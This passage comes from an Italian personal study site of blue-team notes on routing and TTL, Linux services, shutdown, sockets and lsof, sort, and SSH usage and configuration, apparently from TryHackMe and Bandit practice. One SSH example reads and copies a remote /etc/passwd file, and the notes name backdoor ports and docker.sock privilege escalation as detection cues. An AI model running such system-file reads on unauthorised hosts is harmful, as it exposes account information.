──────────────────── ──────────────────────────────── Unità: hop Unità: secondi Si decrementa: Si decrementa: ad ogni router nel tempo Scopo: Scopo: evitare loop infiniti dire ai server DNS quanto tenere in cache il record TTL=64 networking → il pacchetto può fare 64 hop TTL=300 DNS → ricorda questo record per 300 secondi TTL DNS basso = propagazione veloce:\nStai per cambiare IP del tuo dominio: Giorni prima → TTL = 86400 (normale, 24 ore) Giorno prima → TTL = 300 (abbassi a 5 minuti) Fai il cambio → i server DNS aggiornano in 5 minuti Dopo il cambio → TTL = 86400 (rialzi) Se non abbassi prima: metà internet vede il vecchio IP per 24 ore metà vede il nuovo caos durante la migrazione Il viaggio del pacchetto — MAC, IP e hop # Questa e' la parte che confonde di piu': se i router instradano i pacchetti, perche' traceroute mostra IP e non MAC? E dove entra il MAC in tutto questo?\nDue indirizzi, due scopi diversi # IP → indirizzo logico — \u0026#34;dove vuoi arrivare\u0026#34; non cambia mai durante il viaggio visibile da tutti i router lungo il percorso MAC → indirizzo fisico — \u0026#34;su quale cavo mandare il pacchetto adesso\u0026#34; valido solo dentro una subnet (LAN) cambia ad ogni hop invisibile fuori dalla LAN La busta dentro la lettera # Ogni pacchetto ha due \u0026quot;strati\u0026quot; di indirizzamento:\n┌──────────────────────────────────────────┐ │ Header Ethernet (Layer 2) │ │ MAC sorgente: il mio MAC │ ← cambia ad ogni hop │ MAC destinazione: MAC prossimo router │ ├──────────────────────────────────────────┤ │ Header IP (Layer 3) │ │ IP sorgente: il mio IP │ ← invariato per tutto il viaggio │ IP destinazione: IP server remoto │ ├──────────────────────────────────────────┤ │ Payload (TCP/UDP/ICMP...) │ └──────────────────────────────────────────┘ Il router legge l'header IP per decidere dove mandare il pacchetto. Poi riscrive l'header Ethernet con il suo MAC come sorgente e il MAC del prossimo router come destinazione. L'header IP non viene toccato.\nIl viaggio completo verso Google (8.8.8.8) # STEP 1 — sulla tua LAN (subnet 192.168.64.x) Il tuo PC non conosce il MAC del router → ARP ARP broadcast: \u0026#34;chi ha 192.168.64.1?\u0026#34; Router risponde: \u0026#34;sono io — MAC aa:bb:cc:dd:ee:ff\u0026#34; Pacchetto parte: MAC src: il tuo MAC MAC dst: MAC del router di casa ← solo per questo hop IP src: 192.168.64.200 IP dst: 8.8.8.8 ← invariato STEP 2 — router di casa riceve il pacchetto Legge IP dst: 8.8.8.8 Guarda la tabella di routing: \u0026#34;per 8.8.8.8 mando al router ISP\u0026#34; Sa il MAC del router ISP (ARP sulla sua interfaccia WAN) Riscrive l\u0026#39;header Ethernet: MAC src: MAC del router di casa MAC dst: MAC del router ISP ← nuovo hop, nuovo MAC STEP 3, 4, 5... — ogni router intermedio Stessa logica: legge IP dst, decide prossimo hop, riscrive MAC STEP FINALE — ultimo router prima di Google MAC src: MAC dell\u0026#39;ultimo router MAC dst: MAC del server 8.8.8.8 ← finalmente il destinatario IP src: il tuo IP IP dst: 8.8.8.8 Perche' il MAC vale solo nella LAN # Il MAC e' un indirizzo Layer 2 — funziona solo tra dispositivi sulla stessa subnet fisica. Non \u0026quot;esce\u0026quot; dalla LAN perche':\nLAN A (192.168.1.x) Internet LAN B (10.0.0.x) PC ──────► Router A ─────────────────── Router B ──────► Server Tra PC e Router A: usano MAC (stessa LAN) Tra Router A e B: usano solo IP (reti diverse, niente ARP) Tra Router B e Server: usano MAC (stessa LAN) Tra due router su internet non c'e' ARP — ci sono protocolli di routing (BGP, OSPF) che usano solo IP per scambiarsi le tabelle di instradamento.\nCome fa il router a sapere il MAC del prossimo hop # Sulla sua interfaccia LAN: tramite ARP, esattamente come il tuo PC. Su internet tra router: i router \u0026quot;vicini\u0026quot; (peer) si conoscono tramite configurazione statica o protocolli di routing — anche li' pero' a livello fisico usano MAC per la comunicazione sul link diretto tra loro.\nCosa vedi in traceroute # traceroute mostra gli IP, non i MAC — perche' usa ICMP Time Exceeded che e' un messaggio IP, non Ethernet. I MAC non escono mai dalla subnet locale — non possono essere trasmessi in un messaggio IP.\ntraceroute -n 8.8.8.8 1 192.168.64.1 ← router UTM (gateway LAN) 2 192.168.1.254 ← router di casa reale 3 192.168.128.1 ← primo router ISP ... 9 93.57.68.133 ← backbone internet 14 8.8.8.8 ← Google Ogni riga e' un router che ha risposto con ICMP Time Exceeded. Il MAC di ognuno di questi router e' visibile solo al router precedente — mai a te.\nMAC spoofing — solo sulla LAN # Gli attacchi che falsificano il MAC (ARP poisoning, MAC spoofing) funzionano SOLO sulla stessa subnet perche' il MAC non viaggia oltre il primo router. Su internet non si puo' falsificare il MAC di un server remoto — il MAC non arriva mai cosi' lontano.\nAttacchi MAC: solo LAN ✓ Attacchi IP: ovunque su internet ✓ Scenario Reale # Un analista SOC nota che alcune richieste verso un IP esterno non arrivano mai a destinazione — timeout continui. Lancia traceroute verso quell'IP: i primi 5 hop rispondono normalmente, poi silenzio. Il pacchetto si perde all'hop 6 — probabilmente un firewall che blocca il traffico o un router mal configurato. Senza traceroute avrebbe solo visto \u0026quot;non risponde\u0026quot; — con traceroute sa esattamente dove si rompe il percorso.\nDove l'ho incontrato # network-fundamentals — TryHackMe modulo 2 icmp-mac-ip — ICMP Time Exceeded è il meccanismo base di traceroute Collegato a # network — categoria icmp-mac-ip — TTL e ICMP Time Exceeded ping — usa TTL, mostra hop count ip-addressing-subnetting — routing tra subnet diverse osi-model — routing avviene a Layer 3 ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/routing-hop-ttl/","section":"Concetti","summary":"Il routing è il processo con cui i pacchetti viaggiano da una rete all'altra attraverso router intermedi. Ogni 'tappa' si chiama hop. Il TTL limita il numero massimo di hop che un pacchetto può fare prima di essere scartato.","title":"Routing, Hop e TTL","type":"concetti"},{"content":" Cos'è # Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da systemd.\nCome funziona (Ciclo di Configurazione) # [ File di Config ] (su disco /etc/) │ ▼ [ Comando Restart ] ──► [ Servizio in RAM ] ──► [ Effetto Applicato ] L'analista modifica il file in /etc/. Il servizio esistente in memoria non vede la modifica. systemctl restart uccide il vecchio processo e ne avvia uno nuovo che legge il nuovo file. Perché è importante per Blue Team # I malware spesso cercano di installarsi come servizi (persistence) per riavviarsi ad ogni boot. Monitorare i servizi attivi con systemctl list-units è fondamentale.\nCollegato a # system — categoria systemctl — comando di gestione ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/linux-services/","section":"Concetti","summary":"Processi che girano in background senza interazione diretta dell'utente, gestiti solitamente da systemd.","title":"Servizi Linux (Daemon)","type":"concetti"},{"content":" Cosa fa # Spegne, riavvia o pianifica la chiusura del sistema in modo sicuro. Si assicura che tutti i processi ricevano il segnale di terminazione (SIGTERM), i filesystem vengano smontati e i dati sincronizzati su disco (sync).\nSintassi # sudo shutdown [opzioni] [tempo] [messaggio]\nComandi essenziali # Comando Cosa fa Note Blue Team sudo shutdown now Spegne il sistema immediatamente. La via più sicura per chiudere una sessione. sudo reboot Riavvia il sistema. Alias moderno di shutdown -r now. sudo shutdown -h +10 Spegnimento tra 10 minuti. -h sta per \u0026quot;halt\u0026quot;. sudo shutdown -r 22:00 Riavvio programmato alle 22:00. Utile per manutenzioni notturne. sudo shutdown -c Annulla uno shutdown pianificato. \u0026quot;c\u0026quot; sta per cancel. Perché è fondamentale per la stabilità # Spegnere correttamente il sistema non è solo una formalità. Durante lo shutdown, il kernel:\nInvia un segnale di stop a tutti i servizi (es. Database, Web Server). Scrive i dati ancora presenti in cache sulla memoria fisica. Smonta i dischi per evitare errori di inconsistenza (journaling errors). Scenario Reale # Stai aggiornando il kernel di un server di produzione. Dopo l'installazione, è necessario un riavvio. Invece di un comando secco, potresti lanciare sudo shutdown -r +5 \u0026quot;Riavvio di sistema per aggiornamento kernel tra 5 minuti. Salvare il lavoro.\u0026quot;. Questo avvisa tutti gli utenti collegati via SSH, permettendo loro di chiudere le sessioni in modo ordinato.\nDove l'ho usato # progetto-lab-vm — Per spegnere correttamente il server Ubuntu e la Kali dopo le sessioni di configurazione, evitando la corruzione dei file modificati. Note personali # Analyst Tip: Mai spegnere una VM \u0026quot;staccando la spina\u0026quot; (es. chiudendo forzatamente UTM o VirtualBox) se possibile. Usare sempre shutdown now previene la corruzione dei database o dei file di configurazione appena toccati. Se il sistema è bloccato, prova systemctl poweroff come alternativa d'emergenza.\nCollegato a # system — categoria (Hub) systemctl — il gestore di sistema che effettivamente esegue le procedure di power-off. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/shutdown/","section":"Comandi","summary":"Spegne, riavvia o pianifica la chiusura del sistema in modo sicuro. Si assicura che tutti i processi ricevano il segnale di terminazione (SIGTERM), i filesystem vengano smontati e i dati sincronizzati su disco (sync).","title":"Shutdown","type":"comandi"},{"content":" Cos'è # Un socket è un endpoint di comunicazione che permette a due processi di scambiare dati, sia sulla stessa macchina che attraverso la rete. In Linux, un socket è un file con un proprio File Descriptor, gestito dal Kernel.\nUn socket è un endpoint di comunicazione. Pensalo come una presa elettrica: da sola non fa nulla, ma quando due prese vengono collegate da un cavo, l'energia (i dati) può fluire.\nIn pratica, quando un servizio come SSH vuole ricevere connessioni, fa tre cose:\ncrea un socket, lo \u0026quot;aggancia\u0026quot; a un indirizzo IP + porta (questo si chiama bind), e poi si mette in ascolto (listen). Da quel momento, quel socket diventa raggiungibile da chiunque conosca quell'indirizzo e porta. ![Pasted image 20260311191936.webp](/assets/Pasted image 20260311191936.webp) Cos'è un Socket a Livello Kernel # Un socket non è un dispositivo fisico. È una struttura dati (struct socket) che il kernel crea in memoria quando un processo chiama la system call socket(). Questa struct contiene tutto il necessario per comunicare:\nstruct socket (semplificata) ┌──────────────────────────────────────┐ │ Protocollo: TCP (o UDP) │ │ IP locale: 0.0.0.0 │ │ Porta locale: 22 │ │ IP remoto: (vuoto se LISTEN) │ │ Porta remota: (vuoto se LISTEN) │ │ Stato: LISTEN / ESTABLISHED │ │ Buffer invio: [dati in uscita] │ │ Buffer ricezione: [dati in arrivo] │ │ File Descriptor: FD 3 │ └──────────────────────────────────────┘ Qualsiasi processo può crearne uno: un server web, il demone SSH, nc, uno script Python, il browser (uno per ogni tab), un malware. La system call è sempre la stessa: socket(). Dopo la creazione, il kernel assegna un File Descriptor (FD) e da quel momento il processo legge e scrive sul socket come se fosse un file normale.\nCome funziona # Il Ciclo di Vita di un Socket (Server-side) # PROCESSO (es. sshd) KERNEL RETE │ │ │ 1. socket() ──────────────► Crea FD (es. FD 3) │ │ │ │ 2. bind(FD 3, IP:22) ────► Aggancia a 0.0.0.0:22 │ │ │ │ 3. listen(FD 3) ──────────► Stato: LISTEN │ │ │ │ 4. accept() ◄───────────── Nuova connessione! ◄─── │ (client si connette) │ │ │ Crea FD 4 ◄───────────── Socket dedicato │ │ │ │ 5. read(FD 4) / write(FD 4) Scambio dati ◄────────► │ │ │ │ 6. close(FD 4) ───────────► Chiude connessione │ Punto chiave: Il socket in LISTEN (FD 3) resta aperto per accettare nuovi client. Per ogni client che si connette, il kernel crea un nuovo socket (FD 4, 5, 6...) dedicato a quella conversazione.\nFD = file Descriptor Perché \u0026quot;Everything is a File\u0026quot; conta qui # File Descriptor Table (processo sshd) ┌─────┬──────────────────────────────────┐ │ FD │ Cosa punta │ ├─────┼──────────────────────────────────┤ │ 0 │ stdin (standard input) │ │ 1 │ stdout (standard output) │ │ 2 │ stderr (standard error) │ │ 3 │ SOCKET TCP *:22 (LISTEN) │ ◄── il \u0026#34;centralino\u0026#34; │ 4 │ SOCKET TCP 192.168.1.5:22→ │ ◄── client connesso │ │ 192.168.1.10:54321 │ │ 5 │ /var/log/auth.log (file aperto) │ └─────┴──────────────────────────────────┘ Leggere da un socket (FD 4) usa la stessa system call read() di leggere da un file (FD 5). Scrivere su un socket usa la stessa write(). Il kernel sa internamente che FD 4 è un socket e instrada i dati sulla rete, ma per il processo non fa differenza.\nDue Famiglie di Socket # ┌─────────────────────────────────────────────────────────────┐ │ SOCKET │ │ │ │ ┌─────────────────────┐ ┌────────────────────────────┐ │ │ │ NETWORK SOCKET │ │ UNIX DOMAIN SOCKET │ │ │ │ (TCP / UDP) │ │ (IPC locale) │ │ │ │ │ │ │ │ │ │ Identificato da: │ │ Identificato da: │ │ │ │ IP + Porta │ │ Percorso su filesystem │ │ │ │ │ │ │ │ │ │ Es: 0.0.0.0:22 │ │ Es: /var/run/docker.sock │ │ │ │ 127.0.0.1:30000 │ │ /run/systemd/journal/ │ │ │ │ │ │ │ │ │ │ Passa dallo stack │ │ Bypass stack di rete │ │ │ │ TCP/IP del kernel │ │ (più veloce, solo locale) │ │ │ └─────────────────────┘ └────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘ Network socket (INET): Usano IP + porta. Possono comunicare tra macchine diverse. Sono quelli che vedi con lsof -i e ss -tlnp. Esempio: SSH su porta 22, il servizio di Bandit 14 su porta 30000.\nUnix domain socket (UNIX): Usano un percorso sul filesystem come indirizzo. Comunicazione solo tra processi sulla stessa macchina. Più veloci perché non attraversano lo stack di rete. Esempio: Docker usa /var/run/docker.sock per ricevere comandi dal client docker.\nPresa Esterna vs Presa Interna: il confronto pratico # NETWORK SOCKET (presa esterna) UNIX DOMAIN SOCKET (presa interna) ───────────────────────────────── ───────────────────────────────── Indirizzo: IP + Porta Indirizzo: percorso su filesystem Esce dalla macchina: SÌ Esce dalla macchina: MAI Visibile con: lsof -i Visibile con: lsof -U ss -tlnp ss -xl Esempi: Esempi: sshd → 0.0.0.0:22 Docker → /var/run/docker.sock nginx → 0.0.0.0:443 systemd → /run/systemd/journal/stdout nc → 127.0.0.1:30000 MySQL → /var/run/mysqld/mysqld.sock Caso Concreto: docker.sock # Quando scrivi docker ps, il client Docker non apre una connessione TCP verso una porta. Scrive sul file /var/run/docker.sock, e il demone Docker legge da quel file. Tutto locale, nessun traffico di rete.\n[ docker ps ] [ dockerd ] (client CLI) (demone) │ │ │── write() ──► /var/run/docker.sock ◄── read() ──│ │ (Unix Domain Socket) │ │◄── read() ─── /var/run/docker.sock ──► write() ─│ │ │ ▼ ▼ Stampa la lista Interroga i container dei container e restituisce i dati Perché docker.sock è un rischio Blue Team # Docker usa un Unix socket invece di una porta TCP perché è più veloce e non espone nulla sulla rete. Ma il socket è un file, quindi ha permessi Unix:\n$ ls -la /var/run/docker.sock srw-rw---- 1 root docker 0 Mar 11 06:00 /var/run/docker.sock # │ │ │ # │ │ └─ Solo il gruppo \u0026#34;docker\u0026#34; può accedere # │ └─ Proprietario: root # └─ \u0026#34;s\u0026#34; = socket (tipo file speciale) Se un attaccante ottiene accesso al gruppo docker o i permessi vengono allargati (es. chmod 777), può controllare Docker completamente: creare container privilegiati, montare il filesystem dell'host, e scalare a root. Verificare i permessi su /var/run/docker.sock è hardening base.\nAnalogia Mondo Reale: La Prolunga Elettrica # CLIENT (il tuo PC) SERVER (es. web server) ┌──────────────┐ ┌──────────────┐ │ Socket │ PROLUNGA (il cavo) │ Socket │ │ 192.168.1.5 │ ═══════════════════════════════════ │ 93.184.1.10 │ │ :54321 │ ◄── qui dentro passa il traffico ► │ :80 │ │ (presa |_| ) │ │ (presa |_| ) │ └──────────────┘ └──────────────┘ IP + Porta IP + Porta Il socket è la presa (endpoint). Il tool che usi è il cavo (prolunga). Il traffico che passa dentro può essere in chiaro o cifrato, a seconda del cavo scelto:\nCAVO (Tool) CIFRATURA ANALOGIA ──────────────────────────────────────────────────────────── nc Nessuna Prolunga senza guaina telnet Nessuna Prolunga senza guaina (legacy) ssh / ssh -L AES cifrato Prolunga dentro tubo blindato openssl s_client TLS cifrato Prolunga dentro tubo blindato TESTER (Tool) COSA FA ANALOGIA ──────────────────────────────────────────────────────────── ss / netstat Mostra socket Multimetro: misura i cavi lsof -i Mostra chi usa Multimetro + etichette tcpdump Intercetta dati Pinza amperometrica sul cavo Il cavo non cambia le prese. Le prese (socket) sono sempre le stesse: IP + porta da un lato, IP + porta dall'altro. Cambia solo cosa passa dentro — byte in chiaro (leggibili da tcpdump) o byte cifrati (illeggibili senza la chiave).\nAnalogia Mondo Reale: Prese Elettriche e Compatibilità # Un socket è una presa. Il tool che usi (nc, ssh, telnet) è il programma che crea la presa e stende il cavo in un colpo solo. Ma le prese devono essere compatibili per agganciarsi.\nLivello 1 — La forma della presa (Protocollo: TCP vs UDP) # Server SSH :2222 (TCP) Client ┌─────────────────┐ │ ○ ○ ○ TCP │ ◄────────── nc server 2222 ✅ TCP ↔ TCP │ (presa Schuko) │ ◄────────── ssh -p 2222 server ✅ TCP ↔ TCP │ │ ◄────────── telnet server 2222 ✅ TCP ↔ TCP │ │ ◄── ✗ ──── nc -u server 2222 ❌ UDP ↔ TCP └─────────────────┘ Presa italiana in Schuko = non entra Se il server ascolta in TCP, il client deve creare un socket TCP. Un socket UDP (flag -u in nc) è come una spina italiana a tre poli in una presa Schuko tedesca: non si aggancia.\nLivello 2 — Il voltaggio (Protocollo applicativo) # Anche se la presa entra (TCP ↔ TCP), il server potrebbe rifiutarti perché non parli la sua lingua:\nPRESA COMPATIBILE, MA VOLTAGGIO DIVERSO? nc server 2222 → Presa entra (TCP ✅) Ma nc parla raw bytes, SSH aspetta handshake crittografico → il server manda il banner e poi chiude. (utile per banner grabbing!) ssh -p 2222 server → Presa entra (TCP ✅) ssh parla il protocollo SSH → handshake, cifratura, sessione aperta ✅ openssl s_client → Presa entra (TCP ✅) Parla TLS → si aggancia a servizi HTTPS/SSL sulla porta 443 ✅ È come attaccare un forno (230V) a una presa da lampada (230V): la spina entra, ma il circuito non regge il carico. La forma (protocollo di trasporto) è giusta, il voltaggio (protocollo applicativo) no.\nRiepilogo Tool # TOOL CREA SOCKET + CAVO CIFRATURA PROTOCOLLO APP ────────────────────────────────────────────────────────────────────── nc TCP (o UDP con -u) Nessuna Raw bytes telnet TCP Nessuna Raw bytes (legacy) ssh / ssh -L TCP AES SSH protocol openssl s_client TCP TLS TLS handshake TOOL DI ISPEZIONE COSA FA ANALOGIA ────────────────────────────────────────────────────────────────────── ss / netstat Mostra socket attivi Multimetro lsof -i Mostra chi usa cosa Multimetro + etichette tcpdump Intercetta traffico Pinza amperometrica Vedere i Socket con lsof # lsof -i mostra i network-defense socket. Ecco come interpretare l'output:\n$ sudo lsof -i -P | grep LISTEN sshd 1234 root 3u IPv4 12345 0t0 TCP *:22 (LISTEN) # │ │ │ │ │ │ │ │ │ # │ │ │ │ │ │ │ │ └─ Stato: in attesa # │ │ │ │ │ │ │ └─ Porta 22 # │ │ │ │ │ │ └─ Protocollo TCP # │ │ │ │ │ └─ Inode del socket # │ │ │ │ └─ Tipo: IPv4 # │ │ │ └─ FD 3, modalità u (read/write) # │ │ └─ Utente root # │ └─ PID del processo # └─ Nome del comando Indagine pratica: chi ascolta su questa macchina? # # Tutti i socket TCP in stato LISTEN sudo lsof -i TCP -P | grep LISTEN # Output tipico su un server con SSH e un web server: # sshd 1234 root 3u IPv4 12345 TCP *:22 (LISTEN) # nginx 5678 www 6u IPv4 67890 TCP *:80 (LISTEN) # nginx 5678 www 7u IPv4 67891 TCP *:443 (LISTEN) # Socket specifico: chi occupa la porta 30000? sudo lsof -i :30000 -P # Tutti i file aperti da un processo sospetto (socket + file normali) sudo lsof -p 1234 Connessione attiva vs LISTEN # STATO SIGNIFICATO LSOF OUTPUT ───────────────────────────────────────────────────────────── LISTEN \u0026#34;Sto aspettando connessioni\u0026#34; TCP *:22 (LISTEN) Il socket è aperto ma nessuno è collegato. ESTABLISHED \u0026#34;Sto parlando con qualcuno\u0026#34; TCP 192.168.1.5:22-\u0026gt; Dati fluiscono in entrambe 192.168.1.10:54321 le direzioni. (ESTABLISHED) CLOSE_WAIT \u0026#34;L\u0026#39;altro ha chiuso, io no ancora\u0026#34; Possibile leak o processo bloccato. Socket e Servizi Linux: il flusso completo # [ systemd ] │ │ legge /lib/systemd/system/ssh.service │ ▼ [ sshd ] (PID 1234) │ │ socket() → bind(0.0.0.0:22) → listen() │ ▼ [ Socket FD 3: *:22 LISTEN ] ◄── visibile con: lsof -i :22 │ │ un client si connette (nc o ssh) │ ▼ [ Socket FD 4: ESTABLISHED ] ◄── visibile con: lsof -i | grep ESTABLISHED │ │ scambio dati (read/write) │ ▼ [ journald ] registra l\u0026#39;evento ◄── visibile con: journalctl -u ssh Questo è il motivo per cui lsof e journalctl sono complementari: lsof ti dice cosa sta succedendo adesso (socket aperti, connessioni attive), journalctl ti dice cosa è successo nel tempo (login riusciti/falliti, errori).\nPerché è importante per Blue Team # Detection: Un socket LISTEN su una porta inaspettata (es. 4444, 8888) è un potenziale indicatore di backdoor. lsof -i -P | grep LISTEN è uno dei primi comandi durante un incident response. Lateral Movement: Un attaccante che apre un reverse shell crea un socket ESTABLISHED verso il suo server C2. lsof -i TCP | grep ESTABLISHED lo rivela. Unix Socket Abuse: Un attaccante con accesso al file /var/run/docker.sock può controllare Docker e scalare privilegi. Verificare i permessi su questi file è hardening base. Persistenza: Un servizio malevolo registrato in systemd apre un socket ad ogni boot. systemctl list-units --type=socket mostra i socket gestiti da systemd. Scenario Reale # Durante un incident response, noti traffico anomalo in uscita. Esegui sudo lsof -i TCP -P | grep ESTABLISHED e trovi un processo chiamato update-check con PID 9876 che ha un socket aperto verso 45.33.xx.xx:443. Non riconosci il processo. Indaghi con lsof -p 9876 per vedere tutti i file che ha aperto (binario, librerie, file di configurazione) e con systemctl show update-check -p FragmentPath per scoprire da dove viene caricato. Se il path non è in /lib/systemd/system/, hai probabilmente trovato una backdoor persistente.\nDove l'ho incontrato # bandit-14 — Connessione TCP a un socket locale sulla porta 30000 con nc progetto-lab-vm — Socket SSH in LISTEN sulla VM Ubuntu Note personali # Il concetto \u0026quot;tutto è un file\u0026quot; diventa concreto con i socket: puoi fare echo \u0026quot;GET / HTTP/1.0\u0026quot; | nc google.com 80 e funziona perché nc apre un socket, ci scrive sopra con write() come se fosse un file, e legge la risposta con read(). Unix domain socket li incontrerai di più quando installerai Docker e Wazuh — sono il modo in cui i componenti comunicano sulla stessa macchina senza esporre porte di rete.\nCollegato a # system — categoria (Hub) lsof — comando principale per ispezionare socket aperti nc — crea socket client per connettersi a servizi systemctl — gestisce servizi che aprono socket standard-streams — i socket usano File Descriptor come stdin/stdout/stderr inode-anatomy — i socket sono \u0026quot;file\u0026quot; nel senso Unix del termine linux-services — i servizi (daemon) comunicano tramite socket ssh-protocol — SSH è un servizio che ascolta su un socket TCP ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/socket-concept/","section":"Concetti","summary":"Un socket è un endpoint di comunicazione che permette a due processi di scambiare dati, sia sulla stessa macchina che attraverso la rete. In Linux, un socket è un file con un proprio File Descriptor, gestito dal Kernel.","title":"Socket (Endpoint di Comunicazione)","type":"concetti"},{"content":" Cosa fa # Ordina le righe di un file di testo o dell'input ricevuto in ordine alfabetico o numerico.\nSintassi # sort [opzioni] [file]\nComandi essenziali # Comando Flag Cosa fa sort data.txt — Ordina alfabeticamente (default). sort -n -n Ordina in base al valore numerico. sort -r -r Inverte l'ordine (dalla Z alla A). sort -u -u Ordina e rimuove i duplicati (Unique). Combinazioni utili # # Ordina numericamente i risultati di un log cat access.log | cut -d\u0026#39; \u0026#39; -f1 | sort -n Scenario Reale # Un sysadmin deve ordinare una lista di indirizzi IP estratti dai log per vedere rapidamente quali sottoreti sono più attive.\nCollegato a # system — categoria uniq — spesso usato in coppia bandit-08 — contesto d'uso ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/sort/","section":"Comandi","summary":"Ordina le righe di un file di testo o dell'input ricevuto in ordine alfabetico o numerico.","title":"Sort","type":"comandi"},{"content":" Cosa fa # Protocollo e client per l'accesso remoto cifrato. Permette di comandare una macchina remota (guest) dal proprio terminale locale (host) garantendo riservatezza e integrità dei dati tramite crittografia asimmetrica.\nSintassi # ssh [opzioni] utente@host\nComandi essenziali # Comando Cosa fa Note Blue Team ssh barno@192.168.65.2 Connessione base via IP. Porta di default: 22. ssh -i ~/.ssh/id_ed25519 barno@host Connessione con chiave specifica. Forza l'identità (Identity file). ssh-keygen -t ed25519 Genera chiavi moderne. ed25519 è più sicuro e veloce di RSA. ssh-copy-id -i ~/.pub barno@host Copia la chiave pubblica sul server. Metodo standard per abilitare il login senza password. ssh barno@IP -p 2222 -i ~/.ssh/id_ed25519 Connessione con porta e chiave specifiche. Usare porta non standard riduce il rumore dei bot. Analisi e Debug # # Cercare un flag specifico nel manuale (es. -i) senza scorrere tutto man ssh | grep -A 5 \u0026#34;\\-i \u0026#34; # Verificare chi è attualmente connesso al server who Scenario Reale: Docker \u0026amp; PostgreSQL # Quando gestisci database dentro container, ricorda che localhost sul server remoto non raggiunge i container.\nIdentificazione: docker inspect container_db | grep IPAddress. Tunneling: Apri un tunnel SSH verso quell'IP interno per gestire il DB dal tuo client locale. Quoting: Se passi password con caratteri speciali (!, @, #) via CLI, racchiudile tra virgolette singole '...' per evitare che la shell locale le interpreti. SSH non interattivo — eseguire comandi remoti # # Sintassi base — esegue comando senza aprire shell interattiva ssh utente@host -p porta comando # Esempi pratici ssh bandit18@ctf.labs.overthewire.org -p 2220 cat readme ssh bandit18@ctf.labs.overthewire.org -p 2220 ls -la ssh utente@server.com ls /var/log/nginx/ # Shell non interattiva senza leggere .bashrc ssh utente@host bash --norc # Copiare output remoto in locale ssh utente@host cat /etc/passwd \u0026gt; passwd_remoto.txt Perché funziona — confronto:\nssh host → bash interattiva → legge .bashrc → ha TTY ssh host comando → bash non interattiva → NON legge .bashrc → no TTY Tip Stesso identico meccanismo di docker exec -it vs docker exec — la flag -it chiede esplicitamente una shell interattiva con TTY allocato.\nWarning Blue team: un ssh utente@host comando nei log senza apertura di sessione interattiva può indicare esecuzione remota automatizzata — normale per script di deploy, sospetto se inaspettato.\nknown_hosts — identificazione del server # # Al primo accesso SSH, il sistema salva la chiave del server: # ~/.ssh/known_hosts # Se la chiave cambia (server reinstallato, IP riassegnato): @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ # Rimuovi la chiave vecchia e riconnettiti ssh-keygen -f \u0026#34;~/.ssh/known_hosts\u0026#34; -R \u0026#34;nome-host-o-ip\u0026#34; Warning Se vedi questo warning su un server che non hai reinstallato, potrebbe essere un attacco man-in-the-middle — qualcuno si sta spacciando per il server. Verifica con l'amministratore prima di procedere.\nDove l'ho usato # progetto-lab-vm — Per gestire il server Ubuntu dal terminale del Mac. Note personali # Analyst Tip: Se il copia-incolla degli appunti della VM non funziona (SPICE non attivo), ssh-copy-id è la via più veloce. Ricorda: SSH è il bersaglio numero uno per attacchi Brute Force; usa sempre l'autenticazione a chiavi e disabilita il login root via password. Rescue tip: Se SSH non risponde dopo un reboot, la causa più comune è ssh.service in stato disabled. Entra dalla console Hetzner e fai sudo systemctl enable ssh — vedi recupero-accesso-ssh-hetzner.\nProxyJump — Jump Server # # Connessione attraverso un jump server (bastion host) ssh -J utente@jump-server utente@destinazione # Esempio lab: Mac → Ubuntu → Kali ssh -J barno@192.168.64.3 barno@192.168.64.200 # Catena multipla (più hop separati da virgola) ssh -J server1,server2 destinazione # scp attraverso jump server — stessa flag scp -J barno@192.168.64.3 file.txt barno@192.168.64.200:~/ -J = jump. Fa TCP forwarding attraverso il jump host — il Mac parla direttamente con la destinazione, il jump server è solo un tunnel di rete. La chiave privata del Mac autentica direttamente sulla destinazione, non passa per il jump server.\nConfigurazione permanente in ~/.ssh/config:\nHost jump HostName 192.168.64.3 User barno Host kali-interno HostName 192.168.64.200 User barno ProxyJump jump → Lab pratico: lab-jump-server-ssh\nCollegato a # crypto — categoria (Hub) system — categoria (Hub) ssh-key-authentication — concetto (autenticazione sicura). ssh-tunnel — applicazione avanzata per bypassare firewall. docker — integrazione per la gestione dei servizi containerizzati. lab-jump-server-ssh — lab pratico ProxyJump con Ubuntu + Kali. cap-03-security-architecture — jump server come pattern di sicurezza. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/ssh/","section":"Comandi","summary":"Protocollo e client per l'accesso remoto cifrato. Permette di comandare una macchina remota (guest) dal proprio terminale locale (host) garantendo riservatezza e integrità dei dati tramite crittografia asimmetrica.","title":"Ssh","type":"comandi"},{"content":" Cosa fa # File di configurazione locale (~/.ssh/config) che permette di mappare parametri complessi (IP, porte, utenti, chiavi) su alias mnemonici. Semplifica l'accesso remoto e permette l'integrazione con IDE come VS Code.\nSintassi # Il file è strutturato in blocchi gerarchici. Ogni parametro sotto l'intestazione Host deve essere indentato:\nHost [nome-alias] HostName [indirizzo-ip-o-dominio] User [nome-utente] IdentityFile [percorso-chiave-privata] Port [porta-se-diversa-da-22] Comandi essenziali # Comando Cosa fa nano ~/.ssh/config Modifica o crea il file sul tuo host locale (Mac). ssh server-lab Esegue la connessione completa usando l'alias. ssh -F percorso/file alias Usa un file di configurazione alternativo. Esempio di configurazione (Laboratorio) # Bash\n# Esempio per il tuo progetto-lab-vm Host server-lab HostName 192.168.65.2 User barno IdentityFile ~/.ssh/id_ed25519_lab ```bash _Da questo momento, il comando `ssh server-lab` sostituisce l\u0026#39;intera stringa manuale._ ## Scenario Reale In un ambiente SOC o aziendale con decine di server (Jump-host, Web Server, DB), ricordare ogni IP e ogni chiave è impossibile. Il file `ssh-config` funge da **rubrica tecnica**. Inoltre, permette di configurare parametri di sicurezza globali (es. `ServerAliveInterval`) per evitare che le sessioni cadano continuamente. ## Dove l\u0026#39;ho usato - progetto-lab-vm — Per connettermi al server Ubuntu scrivendo solo `ssh server-lab` invece di digitare IP e utente ogni volta. ## Note personali \u0026gt; **Analyst 